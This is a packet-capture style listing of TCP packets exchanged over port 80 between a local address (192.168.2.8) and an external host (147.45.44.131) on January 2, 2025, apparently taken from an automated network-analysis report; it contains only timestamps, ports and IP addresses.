Jan 2, 2025 19:14:18.492455959 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.492469072 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.492475033 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.492480040 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.492486000 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.492499113 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.492522955 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.492548943 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.492641926 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.492649078 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.492666006 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.492671967 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.492683887 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.492690086 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.492696047 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.492702007 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.492707968 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.492707968 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.492714882 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.492727995 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.492733955 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.492747068 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.492747068 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.492754936 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.492760897 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.492772102 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.492796898 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.496068954 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.576531887 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.576539993 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.576558113 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.576565981 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.576577902 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.576585054 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.576623917 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.576652050 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.576667070 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.576673985 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.576675892 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.576680899 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.576688051 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.576693058 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.576706886 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.576710939 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.576719046 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.576723099 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.576730013 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.576757908 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.576782942 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.577236891 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.577244043 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.577256918 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.577263117 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.577289104 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.577303886 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.577316046 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.577322960 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.577328920 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.577334881 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.577359915 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.577394962 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.577946901 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.577954054 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.577960968 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.577965975 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.577972889 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.577977896 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.577984095 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.577990055 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.577994108 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.578023911 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.578042984 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.578094006 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.578100920 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.578113079 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.578121901 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.578131914 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.578135014 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.578139067 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.578145981 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.578150988 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.578166008 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.578186035 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.579058886 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.579073906 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.579080105 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.579086065 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.579092026 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.579108000 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.579113960 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.579116106 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.579119921 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.579124928 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.579128027 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.579134941 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.579148054 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.579149008 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.579155922 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.579161882 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.579168081 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.579174042 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.579174995 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.579181910 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.579197884 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.579211950 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.579248905 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.581461906 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.581475019 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.581481934 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.581489086 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.581495047 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.581509113 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.581513882 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.581528902 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.581542015 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.581609964 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.581818104 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.581825018 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.581835985 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.581873894 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.581876993 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.581923962 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.581981897 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.582047939 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.582055092 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.582067013 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.582099915 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.582638025 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.582649946 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.582657099 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.582663059 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.582668066 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.582674980 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.582689047 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.582695007 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.582704067 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.582705975 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.582712889 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.582726002 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.582726955 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.582741022 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.582743883 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.582747936 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.582763910 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.582767010 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.582770109 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.582787037 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.582796097 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.582811117 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.582814932 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.582835913 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.583161116 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.583225965 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.583252907 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.583261013 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.583272934 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.583307981 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.583442926 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.583448887 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.583455086 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.583466053 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.583472013 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.583477974 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.583483934 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.583493948 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.583498001 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.583506107 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.583513021 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.583517075 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.583518028 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.583523989 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.583533049 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.583535910 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.583544016 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.583561897 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.583561897 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.583570004 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.583575010 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.583581924 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.583581924 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.583589077 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.583594084 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.583595991 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.583601952 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.583607912 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.583615065 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.583626032 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.583631992 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.583633900 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.583641052 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.583651066 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.583655119 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.583661079 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.583662033 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.583664894 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.583677053 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.583700895 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.585192919 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.667331934 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.667347908 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.667354107 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.667366028 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.667372942 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.667388916 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.667396069 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.667401075 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.667407036 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.667408943 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.667426109 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.667433977 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.667443991 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.667449951 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.667462111 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.667481899 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.667512894 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.667903900 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.667911053 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.667927980 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.667933941 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.667944908 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.667951107 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.667957067 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.667960882 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.667963982 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.667973995 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.667994976 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.668024063 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.668483019 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.668554068 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.668559074 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.668565035 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.668570042 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.668575048 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.668605089 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.668611050 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.668617010 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.668627977 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.668644905 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.668659925 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.668670893 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.668679953 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.668690920 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.668699980 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.668728113 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.668732882 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.668734074 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.668745041 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.668751001 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.668764114 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.668767929 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.668777943 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.668807983 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.669681072 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.669687033 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.669692993 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.669703960 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.669712067 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.669718027 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.669742107 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.669742107 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.669756889 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.669768095 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.669775009 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.669781923 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.669797897 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.669806004 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.669811010 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.669814110 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.669819117 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.669826031 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.669832945 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.669833899 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.669838905 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.669877052 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.669898987 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.671996117 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.672003031 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.672008991 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.672020912 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.672027111 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.672032118 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.672038078 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.672044039 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.672045946 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.672097921 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.672121048 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.672430992 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.672436953 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.672449112 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.672486067 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.672514915 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.672529936 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.672535896 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.672540903 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.672545910 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.672589064 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.673199892 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.673204899 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.673217058 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.673222065 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.673254013 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.673257113 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.673263073 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.673280001 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.673285007 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.673290968 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.673295975 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.673307896 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.673341036 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.673372030 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.673377991 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.673391104 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.673396111 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.673401117 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.673413038 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.673420906 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.673438072 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.673449993 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.673455000 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.673497915 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.673559904 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.673563957 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.673576117 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.673583984 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.673605919 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.673747063 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.673759937 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.673772097 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.673777103 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.673784018 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.673795938 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.673801899 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.673803091 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.673829079 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.673846960 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.673854113 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.673860073 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.673870087 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.673883915 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.673891068 CET	80	49704	147.45.44.131	192.168.2.8
